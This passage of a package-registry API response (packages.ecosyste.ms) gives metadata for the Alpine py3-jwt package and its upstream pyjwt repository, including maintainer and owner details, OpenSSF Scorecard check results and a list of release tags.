3-jwt-pyc/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-jwt-pyc/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-jwt-pyc/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-jwt-pyc/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-jwt-pyc/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-jwt-pyc/codemeta","maintainers":[{"uuid":"michal@polanski.me","login":null,"name":"Michał Polański","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Michał Polański","packages_count":354,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Michał Polański","role":null,"created_at":"2025-06-08T15:35:19.442Z","updated_at":"2025-06-08T15:35:19.442Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/maintainers/michal@polanski.me/packages"}],"registry":{"name":"alpine-v3.22","url":"https://pkgs.alpinelinux.org/packages?branch=v3.22","ecosystem":"alpine","default":false,"packages_count":26322,"maintainers_count":422,"namespaces_count":2,"keywords_count":4641,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":1728},"icon_url":"https://github.com/alpinelinux.png","created_at":"2025-06-05T10:49:56.987Z","updated_at":"2026-06-10T05:18:29.151Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/namespaces"}},{"id":6221975,"name":"py3-jwt","ecosystem":"alpine","description":"Python3 JSON Web Token implementation","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2020-04-02T01:43:47.000Z","latest_release_published_at":"2020-04-02T01:43:47.000Z","latest_release_number":"1.7.1-r3","last_synced_at":"2026-03-05T08:39:57.498Z","created_at":"2023-02-01T03:48:17.883Z","updated_at":"2026-05-29T04:00:35.257Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.12/community/x86_64/py3-jwt","install_command":"apk add py3-jwt","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/t